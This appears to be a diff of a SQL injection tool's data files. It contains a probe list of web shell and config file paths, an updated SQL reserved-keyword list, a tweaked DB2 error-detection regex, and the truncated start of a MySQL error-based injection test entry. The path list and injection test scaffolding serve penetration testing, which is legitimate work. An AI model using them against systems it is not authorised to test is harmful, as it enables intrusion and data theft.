/var/www/html/r57.php
|
||||||
|
/var/www/html/shell.php
|
||||||
|
/var/www/html/wso.php
|
||||||
|
|
||||||
|
# Misc
|
||||||
|
|
||||||
|
/etc/lib/nfs/etab
|
||||||
|
/app/app.js
|
||||||
|
/app/configure.js
|
||||||
|
/app/config/config.json
|
||||||
|
|||||||
+41
-369
@@ -452,26 +452,13 @@ WRITEXOR
|
|||||||
YEAR_MONTH
|
YEAR_MONTH
|
||||||
ZEROFILL
|
ZEROFILL
|
||||||
|
|
||||||
# PostgreSQL keywords (reference: https://www.postgresql.org/docs/9.3/sql-keywords-appendix.html)
|
# PostgreSQL|SQL:2016|SQL:2011 reserved words (reference: https://www.postgresql.org/docs/current/sql-keywords-appendix.html)
|
||||||
|
|
||||||
A
|
|
||||||
ABORT
|
|
||||||
ABS
|
ABS
|
||||||
ABSENT
|
ACOS
|
||||||
ABSOLUTE
|
|
||||||
ACCESS
|
|
||||||
ACCORDING
|
|
||||||
ACTION
|
|
||||||
ADA
|
|
||||||
ADD
|
|
||||||
ADMIN
|
|
||||||
AFTER
|
|
||||||
AGGREGATE
|
|
||||||
ALL
|
ALL
|
||||||
ALLOCATE
|
ALLOCATE
|
||||||
ALSO
|
|
||||||
ALTER
|
ALTER
|
||||||
ALWAYS
|
|
||||||
ANALYSE
|
ANALYSE
|
||||||
ANALYZE
|
ANALYZE
|
||||||
AND
|
AND
|
||||||
@@ -483,110 +470,61 @@ ARRAY_MAX_CARDINALITY
|
|||||||
AS
|
AS
|
||||||
ASC
|
ASC
|
||||||
ASENSITIVE
|
ASENSITIVE
|
||||||
ASSERTION
|
ASIN
|
||||||
ASSIGNMENT
|
|
||||||
ASYMMETRIC
|
ASYMMETRIC
|
||||||
AT
|
AT
|
||||||
|
ATAN
|
||||||
ATOMIC
|
ATOMIC
|
||||||
ATTRIBUTE
|
|
||||||
ATTRIBUTES
|
|
||||||
AUTHORIZATION
|
AUTHORIZATION
|
||||||
AVG
|
AVG
|
||||||
BACKWARD
|
|
||||||
BASE64
|
|
||||||
BEFORE
|
|
||||||
BEGIN
|
BEGIN
|
||||||
BEGIN_FRAME
|
BEGIN_FRAME
|
||||||
BEGIN_PARTITION
|
BEGIN_PARTITION
|
||||||
BERNOULLI
|
|
||||||
BETWEEN
|
BETWEEN
|
||||||
BIGINT
|
BIGINT
|
||||||
BINARY
|
BINARY
|
||||||
BIT
|
|
||||||
BIT_LENGTH
|
|
||||||
BLOB
|
BLOB
|
||||||
BLOCKED
|
|
||||||
BOM
|
|
||||||
BOOLEAN
|
BOOLEAN
|
||||||
BOTH
|
BOTH
|
||||||
BREADTH
|
|
||||||
BY
|
BY
|
||||||
C
|
|
||||||
CACHE
|
|
||||||
CALL
|
CALL
|
||||||
CALLED
|
CALLED
|
||||||
CARDINALITY
|
CARDINALITY
|
||||||
CASCADE
|
|
||||||
CASCADED
|
CASCADED
|
||||||
CASE
|
CASE
|
||||||
CAST
|
CAST
|
||||||
CATALOG
|
|
||||||
CATALOG_NAME
|
|
||||||
CEIL
|
CEIL
|
||||||
CEILING
|
CEILING
|
||||||
CHAIN
|
|
||||||
CHAR
|
CHAR
|
||||||
CHARACTER
|
CHARACTER
|
||||||
CHARACTERISTICS
|
|
||||||
CHARACTERS
|
|
||||||
CHARACTER_LENGTH
|
CHARACTER_LENGTH
|
||||||
CHARACTER_SET_CATALOG
|
|
||||||
CHARACTER_SET_NAME
|
|
||||||
CHARACTER_SET_SCHEMA
|
|
||||||
CHAR_LENGTH
|
CHAR_LENGTH
|
||||||
CHECK
|
CHECK
|
||||||
CHECKPOINT
|
CLASSIFIER
|
||||||
CLASS
|
|
||||||
CLASS_ORIGIN
|
|
||||||
CLOB
|
CLOB
|
||||||
CLOSE
|
CLOSE
|
||||||
CLUSTER
|
|
||||||
COALESCE
|
COALESCE
|
||||||
COBOL
|
|
||||||
COLLATE
|
COLLATE
|
||||||
COLLATION
|
COLLATION
|
||||||
COLLATION_CATALOG
|
|
||||||
COLLATION_NAME
|
|
||||||
COLLATION_SCHEMA
|
|
||||||
COLLECT
|
COLLECT
|
||||||
COLUMN
|
COLUMN
|
||||||
COLUMNS
|
|
||||||
COLUMN_NAME
|
|
||||||
COMMAND_FUNCTION
|
|
||||||
COMMAND_FUNCTION_CODE
|
|
||||||
COMMENT
|
|
||||||
COMMENTS
|
|
||||||
COMMIT
|
COMMIT
|
||||||
COMMITTED
|
|
||||||
CONCURRENTLY
|
CONCURRENTLY
|
||||||
CONDITION
|
CONDITION
|
||||||
CONDITION_NUMBER
|
|
||||||
CONFIGURATION
|
|
||||||
CONNECT
|
CONNECT
|
||||||
CONNECTION
|
|
||||||
CONNECTION_NAME
|
|
||||||
CONSTRAINT
|
CONSTRAINT
|
||||||
CONSTRAINTS
|
|
||||||
CONSTRAINT_CATALOG
|
|
||||||
CONSTRAINT_NAME
|
|
||||||
CONSTRAINT_SCHEMA
|
|
||||||
CONSTRUCTOR
|
|
||||||
CONTAINS
|
CONTAINS
|
||||||
CONTENT
|
|
||||||
CONTINUE
|
|
||||||
CONTROL
|
|
||||||
CONVERSION
|
|
||||||
CONVERT
|
CONVERT
|
||||||
COPY
|
COPY
|
||||||
CORR
|
CORR
|
||||||
CORRESPONDING
|
CORRESPONDING
|
||||||
COST
|
COS
|
||||||
|
COSH
|
||||||
COUNT
|
COUNT
|
||||||
COVAR_POP
|
COVAR_POP
|
||||||
COVAR_SAMP
|
COVAR_SAMP
|
||||||
CREATE
|
CREATE
|
||||||
CROSS
|
CROSS
|
||||||
CSV
|
|
||||||
CUBE
|
CUBE
|
||||||
CUME_DIST
|
CUME_DIST
|
||||||
CURRENT
|
CURRENT
|
||||||
@@ -602,44 +540,25 @@ CURRENT_TIMESTAMP
|
|||||||
CURRENT_TRANSFORM_GROUP_FOR_TYPE
|
CURRENT_TRANSFORM_GROUP_FOR_TYPE
|
||||||
CURRENT_USER
|
CURRENT_USER
|
||||||
CURSOR
|
CURSOR
|
||||||
CURSOR_NAME
|
|
||||||
CYCLE
|
CYCLE
|
||||||
DATA
|
|
||||||
DATABASE
|
|
||||||
DATALINK
|
DATALINK
|
||||||
DATE
|
DATE
|
||||||
DATETIME_INTERVAL_CODE
|
|
||||||
DATETIME_INTERVAL_PRECISION
|
|
||||||
DAY
|
DAY
|
||||||
DB
|
|
||||||
DEALLOCATE
|
DEALLOCATE
|
||||||
DEC
|
DEC
|
||||||
|
DECFLOAT
|
||||||
DECIMAL
|
DECIMAL
|
||||||
DECLARE
|
DECLARE
|
||||||
DEFAULT
|
DEFAULT
|
||||||
DEFAULTS
|
|
||||||
DEFERRABLE
|
DEFERRABLE
|
||||||
DEFERRED
|
DEFINE
|
||||||
DEFINED
|
|
||||||
DEFINER
|
|
||||||
DEGREE
|
|
||||||
DELETE
|
DELETE
|
||||||
DELIMITER
|
|
||||||
DELIMITERS
|
|
||||||
DENSE_RANK
|
DENSE_RANK
|
||||||
DEPTH
|
|
||||||
DEREF
|
DEREF
|
||||||
DERIVED
|
|
||||||
DESC
|
DESC
|
||||||
DESCRIBE
|
DESCRIBE
|
||||||
DESCRIPTOR
|
|
||||||
DETERMINISTIC
|
DETERMINISTIC
|
||||||
DIAGNOSTICS
|
|
||||||
DICTIONARY
|
|
||||||
DISABLE
|
|
||||||
DISCARD
|
|
||||||
DISCONNECT
|
DISCONNECT
|
||||||
DISPATCH
|
|
||||||
DISTINCT
|
DISTINCT
|
||||||
DLNEWCOPY
|
DLNEWCOPY
|
||||||
DLPREVIOUSCOPY
|
DLPREVIOUSCOPY
|
||||||
@@ -653,313 +572,176 @@ DLURLSCHEME
|
|||||||
DLURLSERVER
|
DLURLSERVER
|
||||||
DLVALUE
|
DLVALUE
|
||||||
DO
|
DO
|
||||||
DOCUMENT
|
|
||||||
DOMAIN
|
|
||||||
DOUBLE
|
DOUBLE
|
||||||
DROP
|
DROP
|
||||||
DYNAMIC
|
DYNAMIC
|
||||||
DYNAMIC_FUNCTION
|
|
||||||
DYNAMIC_FUNCTION_CODE
|
|
||||||
EACH
|
EACH
|
||||||
ELEMENT
|
ELEMENT
|
||||||
ELSE
|
ELSE
|
||||||
EMPTY
|
EMPTY
|
||||||
ENABLE
|
|
||||||
ENCODING
|
|
||||||
ENCRYPTED
|
|
||||||
END
|
END
|
||||||
END-EXEC
|
END-EXEC
|
||||||
END_FRAME
|
END_FRAME
|
||||||
END_PARTITION
|
END_PARTITION
|
||||||
ENFORCED
|
|
||||||
ENUM
|
|
||||||
EQUALS
|
EQUALS
|
||||||
ESCAPE
|
ESCAPE
|
||||||
EVENT
|
|
||||||
EVERY
|
EVERY
|
||||||
EXCEPT
|
EXCEPT
|
||||||
EXCEPTION
|
|
||||||
EXCLUDE
|
|
||||||
EXCLUDING
|
|
||||||
EXCLUSIVE
|
|
||||||
EXEC
|
EXEC
|
||||||
EXECUTE
|
EXECUTE
|
||||||
EXISTS
|
EXISTS
|
||||||
EXP
|
EXP
|
||||||
EXPLAIN
|
|
||||||
EXPRESSION
|
|
||||||
EXTENSION
|
|
||||||
EXTERNAL
|
EXTERNAL
|
||||||
EXTRACT
|
EXTRACT
|
||||||
FALSE
|
FALSE
|
||||||
FAMILY
|
|
||||||
FETCH
|
FETCH
|
||||||
FILE
|
|
||||||
FILTER
|
FILTER
|
||||||
FINAL
|
|
||||||
FIRST
|
|
||||||
FIRST_VALUE
|
FIRST_VALUE
|
||||||
FLAG
|
|
||||||
FLOAT
|
FLOAT
|
||||||
FLOOR
|
FLOOR
|
||||||
FOLLOWING
|
|
||||||
FOR
|
FOR
|
||||||
FORCE
|
|
||||||
FOREIGN
|
FOREIGN
|
||||||
FORTRAN
|
|
||||||
FORWARD
|
|
||||||
FOUND
|
|
||||||
FRAME_ROW
|
FRAME_ROW
|
||||||
FREE
|
FREE
|
||||||
FREEZE
|
FREEZE
|
||||||
FROM
|
FROM
|
||||||
FS
|
|
||||||
FULL
|
FULL
|
||||||
FUNCTION
|
FUNCTION
|
||||||
FUNCTIONS
|
|
||||||
FUSION
|
FUSION
|
||||||
G
|
|
||||||
GENERAL
|
|
||||||
GENERATED
|
|
||||||
GET
|
GET
|
||||||
GLOBAL
|
GLOBAL
|
||||||
GO
|
|
||||||
GOTO
|
|
||||||
GRANT
|
GRANT
|
||||||
GRANTED
|
|
||||||
GREATEST
|
|
||||||
GROUP
|
GROUP
|
||||||
GROUPING
|
GROUPING
|
||||||
GROUPS
|
GROUPS
|
||||||
HANDLER
|
|
||||||
HAVING
|
HAVING
|
||||||
HEADER
|
|
||||||
HEX
|
|
||||||
HIERARCHY
|
|
||||||
HOLD
|
HOLD
|
||||||
HOUR
|
HOUR
|
||||||
ID
|
|
||||||
IDENTITY
|
IDENTITY
|
||||||
IF
|
|
||||||
IGNORE
|
|
||||||
ILIKE
|
ILIKE
|
||||||
IMMEDIATE
|
|
||||||
IMMEDIATELY
|
|
||||||
IMMUTABLE
|
|
||||||
IMPLEMENTATION
|
|
||||||
IMPLICIT
|
|
||||||
IMPORT
|
IMPORT
|
||||||
IN
|
IN
|
||||||
INCLUDING
|
|
||||||
INCREMENT
|
|
||||||
INDENT
|
|
||||||
INDEX
|
|
||||||
INDEXES
|
|
||||||
INDICATOR
|
INDICATOR
|
||||||
INHERIT
|
INITIAL
|
||||||
INHERITS
|
|
||||||
INITIALLY
|
INITIALLY
|
||||||
INLINE
|
|
||||||
INNER
|
INNER
|
||||||
INOUT
|
INOUT
|
||||||
INPUT
|
|
||||||
INSENSITIVE
|
INSENSITIVE
|
||||||
INSERT
|
INSERT
|
||||||
INSTANCE
|
|
||||||
INSTANTIABLE
|
|
||||||
INSTEAD
|
|
||||||
INT
|
INT
|
||||||
INTEGER
|
INTEGER
|
||||||
INTEGRITY
|
|
||||||
INTERSECT
|
INTERSECT
|
||||||
INTERSECTION
|
INTERSECTION
|
||||||
INTERVAL
|
INTERVAL
|
||||||
INTO
|
INTO
|
||||||
INVOKER
|
|
||||||
IS
|
IS
|
||||||
ISNULL
|
ISNULL
|
||||||
ISOLATION
|
|
||||||
JOIN
|
JOIN
|
||||||
K
|
JSON_ARRAY
|
||||||
KEY
|
JSON_ARRAYAGG
|
||||||
KEY_MEMBER
|
JSON_EXISTS
|
||||||
KEY_TYPE
|
JSON_OBJECT
|
||||||
LABEL
|
JSON_OBJECTAGG
|
||||||
|
JSON_QUERY
|
||||||
|
JSON_TABLE
|
||||||
|
JSON_TABLE_PRIMITIVE
|
||||||
|
JSON_VALUE
|
||||||
LAG
|
LAG
|
||||||
LANGUAGE
|
LANGUAGE
|
||||||
LARGE
|
LARGE
|
||||||
LAST
|
|
||||||
LAST_VALUE
|
LAST_VALUE
|
||||||
LATERAL
|
LATERAL
|
||||||
LC_COLLATE
|
|
||||||
LC_CTYPE
|
|
||||||
LEAD
|
LEAD
|
||||||
LEADING
|
LEADING
|
||||||
LEAKPROOF
|
|
||||||
LEAST
|
|
||||||
LEFT
|
LEFT
|
||||||
LENGTH
|
|
||||||
LEVEL
|
|
||||||
LIBRARY
|
|
||||||
LIKE
|
LIKE
|
||||||
LIKE_REGEX
|
LIKE_REGEX
|
||||||
LIMIT
|
LIMIT
|
||||||
LINK
|
LISTAGG
|
||||||
LISTEN
|
|
||||||
LN
|
LN
|
||||||
LOAD
|
|
||||||
LOCAL
|
LOCAL
|
||||||
LOCALTIME
|
LOCALTIME
|
||||||
LOCALTIMESTAMP
|
LOCALTIMESTAMP
|
||||||
LOCATION
|
LOG
|
||||||
LOCATOR
|
LOG10
|
||||||
LOCK
|
|
||||||
LOWER
|
LOWER
|
||||||
M
|
|
||||||
MAP
|
|
||||||
MAPPING
|
|
||||||
MATCH
|
MATCH
|
||||||
MATCHED
|
MATCHES
|
||||||
MATERIALIZED
|
MATCH_NUMBER
|
||||||
|
MATCH_RECOGNIZE
|
||||||
MAX
|
MAX
|
||||||
MAXVALUE
|
MEASURES
|
||||||
MAX_CARDINALITY
|
|
||||||
MEMBER
|
MEMBER
|
||||||
MERGE
|
MERGE
|
||||||
MESSAGE_LENGTH
|
|
||||||
MESSAGE_OCTET_LENGTH
|
|
||||||
MESSAGE_TEXT
|
|
||||||
METHOD
|
METHOD
|
||||||
MIN
|
MIN
|
||||||
MINUTE
|
MINUTE
|
||||||
MINVALUE
|
|
||||||
MOD
|
MOD
|
||||||
MODE
|
|
||||||
MODIFIES
|
MODIFIES
|
||||||
MODULE
|
MODULE
|
||||||
MONTH
|
MONTH
|
||||||
MORE
|
|
||||||
MOVE
|
|
||||||
MULTISET
|
MULTISET
|
||||||
MUMPS
|
|
||||||
NAME
|
|
||||||
NAMES
|
|
||||||
NAMESPACE
|
|
||||||
NATIONAL
|
NATIONAL
|
||||||
NATURAL
|
NATURAL
|
||||||
NCHAR
|
NCHAR
|
||||||
NCLOB
|
NCLOB
|
||||||
NESTING
|
|
||||||
NEW
|
NEW
|
||||||
NEXT
|
|
||||||
NFC
|
|
||||||
NFD
|
|
||||||
NFKC
|
|
||||||
NFKD
|
|
||||||
NIL
|
|
||||||
NO
|
NO
|
||||||
NONE
|
NONE
|
||||||
NORMALIZE
|
NORMALIZE
|
||||||
NORMALIZED
|
|
||||||
NOT
|
NOT
|
||||||
NOTHING
|
|
||||||
NOTIFY
|
|
||||||
NOTNULL
|
NOTNULL
|
||||||
NOWAIT
|
|
||||||
NTH_VALUE
|
NTH_VALUE
|
||||||
NTILE
|
NTILE
|
||||||
NULL
|
NULL
|
||||||
NULLABLE
|
|
||||||
NULLIF
|
NULLIF
|
||||||
NULLS
|
|
||||||
NUMBER
|
|
||||||
NUMERIC
|
NUMERIC
|
||||||
OBJECT
|
|
||||||
OCCURRENCES_REGEX
|
OCCURRENCES_REGEX
|
||||||
OCTETS
|
|
||||||
OCTET_LENGTH
|
OCTET_LENGTH
|
||||||
OF
|
OF
|
||||||
OFF
|
|
||||||
OFFSET
|
OFFSET
|
||||||
OIDS
|
|
||||||
OLD
|
OLD
|
||||||
|
OMIT
|
||||||
ON
|
ON
|
||||||
|
ONE
|
||||||
ONLY
|
ONLY
|
||||||
OPEN
|
OPEN
|
||||||
OPERATOR
|
|
||||||
OPTION
|
|
||||||
OPTIONS
|
|
||||||
OR
|
OR
|
||||||
ORDER
|
ORDER
|
||||||
ORDERING
|
|
||||||
ORDINALITY
|
|
||||||
OTHERS
|
|
||||||
OUT
|
OUT
|
||||||
OUTER
|
OUTER
|
||||||
OUTPUT
|
|
||||||
OVER
|
OVER
|
||||||
OVERLAPS
|
OVERLAPS
|
||||||
OVERLAY
|
OVERLAY
|
||||||
OVERRIDING
|
|
||||||
OWNED
|
|
||||||
OWNER
|
|
||||||
P
|
|
||||||
PAD
|
|
||||||
PARAMETER
|
PARAMETER
|
||||||
PARAMETER_MODE
|
|
||||||
PARAMETER_NAME
|
|
||||||
PARAMETER_ORDINAL_POSITION
|
|
||||||
PARAMETER_SPECIFIC_CATALOG
|
|
||||||
PARAMETER_SPECIFIC_NAME
|
|
||||||
PARAMETER_SPECIFIC_SCHEMA
|
|
||||||
PARSER
|
|
||||||
PARTIAL
|
|
||||||
PARTITION
|
PARTITION
|
||||||
PASCAL
|
PATTERN
|
||||||
PASSING
|
PER
|
||||||
PASSTHROUGH
|
|
||||||
PASSWORD
|
|
||||||
PATH
|
|
||||||
PERCENT
|
PERCENT
|
||||||
PERCENTILE_CONT
|
PERCENTILE_CONT
|
||||||
PERCENTILE_DISC
|
PERCENTILE_DISC
|
||||||
PERCENT_RANK
|
PERCENT_RANK
|
||||||
PERIOD
|
PERIOD
|
||||||
PERMISSION
|
PERMUTE
|
||||||
PLACING
|
PLACING
|
||||||
PLANS
|
|
||||||
PLI
|
|
||||||
PORTION
|
PORTION
|
||||||
POSITION
|
POSITION
|
||||||
POSITION_REGEX
|
POSITION_REGEX
|
||||||
POWER
|
POWER
|
||||||
PRECEDES
|
PRECEDES
|
||||||
PRECEDING
|
|
||||||
PRECISION
|
PRECISION
|
||||||
PREPARE
|
PREPARE
|
||||||
PREPARED
|
|
||||||
PRESERVE
|
|
||||||
PRIMARY
|
PRIMARY
|
||||||
PRIOR
|
|
||||||
PRIVILEGES
|
|
||||||
PROCEDURAL
|
|
||||||
PROCEDURE
|
PROCEDURE
|
||||||
PROGRAM
|
PTF
|
||||||
PUBLIC
|
|
||||||
QUOTE
|
|
||||||
RANGE
|
RANGE
|
||||||
RANK
|
RANK
|
||||||
READ
|
|
||||||
READS
|
READS
|
||||||
REAL
|
REAL
|
||||||
REASSIGN
|
|
||||||
RECHECK
|
|
||||||
RECOVERY
|
|
||||||
RECURSIVE
|
RECURSIVE
|
||||||
REF
|
REF
|
||||||
REFERENCES
|
REFERENCES
|
||||||
REFERENCING
|
REFERENCING
|
||||||
REFRESH
|
|
||||||
REGR_AVGX
|
REGR_AVGX
|
||||||
REGR_AVGY
|
REGR_AVGY
|
||||||
REGR_COUNT
|
REGR_COUNT
|
||||||
@@ -969,185 +751,87 @@ REGR_SLOPE
|
|||||||
REGR_SXX
|
REGR_SXX
|
||||||
REGR_SXY
|
REGR_SXY
|
||||||
REGR_SYY
|
REGR_SYY
|
||||||
REINDEX
|
|
||||||
RELATIVE
|
|
||||||
RELEASE
|
RELEASE
|
||||||
RENAME
|
|
||||||
REPEATABLE
|
|
||||||
REPLACE
|
|
||||||
REPLICA
|
|
||||||
REQUIRING
|
|
||||||
RESET
|
|
||||||
RESPECT
|
|
||||||
RESTART
|
|
||||||
RESTORE
|
|
||||||
RESTRICT
|
|
||||||
RESULT
|
RESULT
|
||||||
RETURN
|
RETURN
|
||||||
RETURNED_CARDINALITY
|
|
||||||
RETURNED_LENGTH
|
|
||||||
RETURNED_OCTET_LENGTH
|
|
||||||
RETURNED_SQLSTATE
|
|
||||||
RETURNING
|
RETURNING
|
||||||
RETURNS
|
RETURNS
|
||||||
REVOKE
|
REVOKE
|
||||||
RIGHT
|
RIGHT
|
||||||
ROLE
|
|
||||||
ROLLBACK
|
ROLLBACK
|
||||||
ROLLUP
|
ROLLUP
|
||||||
ROUTINE
|
|
||||||
ROUTINE_CATALOG
|
|
||||||
ROUTINE_NAME
|
|
||||||
ROUTINE_SCHEMA
|
|
||||||
ROW
|
ROW
|
||||||
ROWS
|
ROWS
|
||||||
ROW_COUNT
|
|
||||||
ROW_NUMBER
|
ROW_NUMBER
|
||||||
RULE
|
RUNNING
|
||||||
SAVEPOINT
|
SAVEPOINT
|
||||||
SCALE
|
|
||||||
SCHEMA
|
|
||||||
SCHEMA_NAME
|
|
||||||
SCOPE
|
SCOPE
|
||||||
SCOPE_CATALOG
|
|
||||||
SCOPE_NAME
|
|
||||||
SCOPE_SCHEMA
|
|
||||||
SCROLL
|
SCROLL
|
||||||
SEARCH
|
SEARCH
|
||||||
SECOND
|
SECOND
|
||||||
SECTION
|
SEEK
|
||||||
SECURITY
|
|
||||||
SELECT
|
SELECT
|
||||||
SELECTIVE
|
|
||||||
SELF
|
|
||||||
SENSITIVE
|
SENSITIVE
|
||||||
SEQUENCE
|
|
||||||
SEQUENCES
|
|
||||||
SERIALIZABLE
|
|
||||||
SERVER
|
|
||||||
SERVER_NAME
|
|
||||||
SESSION
|
|
||||||
SESSION_USER
|
SESSION_USER
|
||||||
SET
|
SET
|
||||||
SETOF
|
|
||||||
SETS
|
|
||||||
SHARE
|
|
||||||
SHOW
|
SHOW
|
||||||
SIMILAR
|
SIMILAR
|
||||||
SIMPLE
|
SIN
|
||||||
SIZE
|
SINH
|
||||||
|
SKIP
|
||||||
SMALLINT
|
SMALLINT
|
||||||
SNAPSHOT
|
|
||||||
SOME
|
SOME
|
||||||
SOURCE
|
|
||||||
SPACE
|
|
||||||
SPECIFIC
|
SPECIFIC
|
||||||
SPECIFICTYPE
|
SPECIFICTYPE
|
||||||
SPECIFIC_NAME
|
|
||||||
SQL
|
SQL
|
||||||
SQLCODE
|
|
||||||
SQLERROR
|
|
||||||
SQLEXCEPTION
|
SQLEXCEPTION
|
||||||
SQLSTATE
|
SQLSTATE
|
||||||
SQLWARNING
|
SQLWARNING
|
||||||
SQRT
|
SQRT
|
||||||
STABLE
|
|
||||||
STANDALONE
|
|
||||||
START
|
START
|
||||||
STATE
|
|
||||||
STATEMENT
|
|
||||||
STATIC
|
STATIC
|
||||||
STATISTICS
|
|
||||||
STDDEV_POP
|
STDDEV_POP
|
||||||
STDDEV_SAMP
|
STDDEV_SAMP
|
||||||
STDIN
|
|
||||||
STDOUT
|
|
||||||
STORAGE
|
|
||||||
STRICT
|
|
||||||
STRIP
|
|
||||||
STRUCTURE
|
|
||||||
STYLE
|
|
||||||
SUBCLASS_ORIGIN
|
|
||||||
SUBMULTISET
|
SUBMULTISET
|
||||||
|
SUBSET
|
||||||
SUBSTRING
|
SUBSTRING
|
||||||
SUBSTRING_REGEX
|
SUBSTRING_REGEX
|
||||||
SUCCEEDS
|
SUCCEEDS
|
||||||
SUM
|
SUM
|
||||||
SYMMETRIC
|
SYMMETRIC
|
||||||
SYSID
|
|
||||||
SYSTEM
|
SYSTEM
|
||||||
SYSTEM_TIME
|
SYSTEM_TIME
|
||||||
SYSTEM_USER
|
SYSTEM_USER
|
||||||
T
|
|
||||||
TABLE
|
TABLE
|
||||||
TABLES
|
|
||||||
TABLESAMPLE
|
TABLESAMPLE
|
||||||
TABLESPACE
|
TAN
|
||||||
TABLE_NAME
|
TANH
|
||||||
TEMP
|
|
||||||
TEMPLATE
|
|
||||||
TEMPORARY
|
|
||||||
TEXT
|
|
||||||
THEN
|
THEN
|
||||||
TIES
|
|
||||||
TIME
|
TIME
|
||||||
TIMESTAMP
|
TIMESTAMP
|
||||||
TIMEZONE_HOUR
|
TIMEZONE_HOUR
|
||||||
TIMEZONE_MINUTE
|
TIMEZONE_MINUTE
|
||||||
TO
|
TO
|
||||||
TOKEN
|
|
||||||
TOP_LEVEL_COUNT
|
|
||||||
TRAILING
|
TRAILING
|
||||||
TRANSACTION
|
|
||||||
TRANSACTIONS_COMMITTED
|
|
||||||
TRANSACTIONS_ROLLED_BACK
|
|
||||||
TRANSACTION_ACTIVE
|
|
||||||
TRANSFORM
|
|
||||||
TRANSFORMS
|
|
||||||
TRANSLATE
|
TRANSLATE
|
||||||
TRANSLATE_REGEX
|
TRANSLATE_REGEX
|
||||||
TRANSLATION
|
TRANSLATION
|
||||||
TREAT
|
TREAT
|
||||||
TRIGGER
|
TRIGGER
|
||||||
TRIGGER_CATALOG
|
|
||||||
TRIGGER_NAME
|
|
||||||
TRIGGER_SCHEMA
|
|
||||||
TRIM
|
TRIM
|
||||||
TRIM_ARRAY
|
TRIM_ARRAY
|
||||||
TRUE
|
TRUE
|
||||||
TRUNCATE
|
TRUNCATE
|
||||||
TRUSTED
|
|
||||||
TYPE
|
|
||||||
TYPES
|
|
||||||
UESCAPE
|
UESCAPE
|
||||||
UNBOUNDED
|
|
||||||
UNCOMMITTED
|
|
||||||
UNDER
|
|
||||||
UNENCRYPTED
|
|
||||||
UNION
|
UNION
|
||||||
UNIQUE
|
UNIQUE
|
||||||
UNKNOWN
|
UNKNOWN
|
||||||
UNLINK
|
UNMATCHED
|
||||||
UNLISTEN
|
|
||||||
UNLOGGED
|
|
||||||
UNNAMED
|
|
||||||
UNNEST
|
UNNEST
|
||||||
UNTIL
|
|
||||||
UNTYPED
|
|
||||||
UPDATE
|
UPDATE
|
||||||
UPPER
|
UPPER
|
||||||
URI
|
|
||||||
USAGE
|
|
||||||
USER
|
USER
|
||||||
USER_DEFINED_TYPE_CATALOG
|
|
||||||
USER_DEFINED_TYPE_CODE
|
|
||||||
USER_DEFINED_TYPE_NAME
|
|
||||||
USER_DEFINED_TYPE_SCHEMA
|
|
||||||
USING
|
USING
|
||||||
VACUUM
|
|
||||||
VALID
|
|
||||||
VALIDATE
|
|
||||||
VALIDATOR
|
|
||||||
VALUE
|
VALUE
|
||||||
VALUES
|
VALUES
|
||||||
VALUE_OF
|
VALUE_OF
|
||||||
@@ -1158,22 +842,15 @@ VARYING
|
|||||||
VAR_POP
|
VAR_POP
|
||||||
VAR_SAMP
|
VAR_SAMP
|
||||||
VERBOSE
|
VERBOSE
|
||||||
VERSION
|
|
||||||
VERSIONING
|
VERSIONING
|
||||||
VIEW
|
|
||||||
VOLATILE
|
|
||||||
WHEN
|
WHEN
|
||||||
WHENEVER
|
WHENEVER
|
||||||
WHERE
|
WHERE
|
||||||
WHITESPACE
|
|
||||||
WIDTH_BUCKET
|
WIDTH_BUCKET
|
||||||
WINDOW
|
WINDOW
|
||||||
WITH
|
WITH
|
||||||
WITHIN
|
WITHIN
|
||||||
WITHOUT
|
WITHOUT
|
||||||
WORK
|
|
||||||
WRAPPER
|
|
||||||
WRITE
|
|
||||||
XML
|
XML
|
||||||
XMLAGG
|
XMLAGG
|
||||||
XMLATTRIBUTES
|
XMLATTRIBUTES
|
||||||
@@ -1181,7 +858,6 @@ XMLBINARY
|
|||||||
XMLCAST
|
XMLCAST
|
||||||
XMLCOMMENT
|
XMLCOMMENT
|
||||||
XMLCONCAT
|
XMLCONCAT
|
||||||
XMLDECLARATION
|
|
||||||
XMLDOCUMENT
|
XMLDOCUMENT
|
||||||
XMLELEMENT
|
XMLELEMENT
|
||||||
XMLEXISTS
|
XMLEXISTS
|
||||||
@@ -1191,12 +867,8 @@ XMLNAMESPACES
|
|||||||
XMLPARSE
|
XMLPARSE
|
||||||
XMLPI
|
XMLPI
|
||||||
XMLQUERY
|
XMLQUERY
|
||||||
XMLROOT
|
|
||||||
XMLSCHEMA
|
|
||||||
XMLSERIALIZE
|
XMLSERIALIZE
|
||||||
XMLTABLE
|
XMLTABLE
|
||||||
XMLTEXT
|
XMLTEXT
|
||||||
XMLVALIDATE
|
XMLVALIDATE
|
||||||
YEAR
|
YEAR
|
||||||
YES
|
|
||||||
ZONE
|
|
||||||
|
|||||||
+4652
-202
File diff suppressed because it is too large
Load Diff
Binary file not shown.
Binary file not shown.
Binary file not shown.
Binary file not shown.
Binary file not shown.
Binary file not shown.
Binary file not shown.
Binary file not shown.
Binary file not shown.
Binary file not shown.
Binary file not shown.
Binary file not shown.
Binary file not shown.
Binary file not shown.
Binary file not shown.
Binary file not shown.
Binary file not shown.
Binary file not shown.
Binary file not shown.
Binary file not shown.
Binary file not shown.
Binary file not shown.
Binary file not shown.
Binary file not shown.
Binary file not shown.
Binary file not shown.
Binary file not shown.
Binary file not shown.
Binary file not shown.
Binary file not shown.
Binary file not shown.
Binary file not shown.
+1
-1
@@ -83,7 +83,7 @@
|
|||||||
<error regexp="CLI Driver.*?DB2"/>
|
<error regexp="CLI Driver.*?DB2"/>
|
||||||
<error regexp="DB2 SQL error"/>
|
<error regexp="DB2 SQL error"/>
|
||||||
<error regexp="\bdb2_\w+\("/>
|
<error regexp="\bdb2_\w+\("/>
|
||||||
<error regexp="SQLSTATE.+SQLCODE"/>
|
<error regexp="SQLCODE[=:\d, -]+SQLSTATE"/>
|
||||||
<error regexp="com\.ibm\.db2\.jcc"/>
|
<error regexp="com\.ibm\.db2\.jcc"/>
|
||||||
<error regexp="Zend_Db_(Adapter|Statement)_Db2_Exception"/>
|
<error regexp="Zend_Db_(Adapter|Statement)_Db2_Exception"/>
|
||||||
<error regexp="Pdo[./_\\]Ibm"/>
|
<error regexp="Pdo[./_\\]Ibm"/>
|
||||||
|
|||||||
@@ -91,6 +91,46 @@
|
|||||||
</details>
|
</details>
|
||||||
</test>
|
</test>
|
||||||
|
|
||||||
|
<test>
|
||||||
|
<title>MySQL >= 5.6 AND error-based - WHERE, HAVING, ORDER BY or GROUP BY clause (GTID_SUBSET)</title>
|
||||||
|
<stype>2</stype>
|
||||||
|
<level>4</level>
|
||||||
|
<risk>1</risk>
|
||||||
|
<clause>1,2,3,8,9</clause>
|
||||||
|
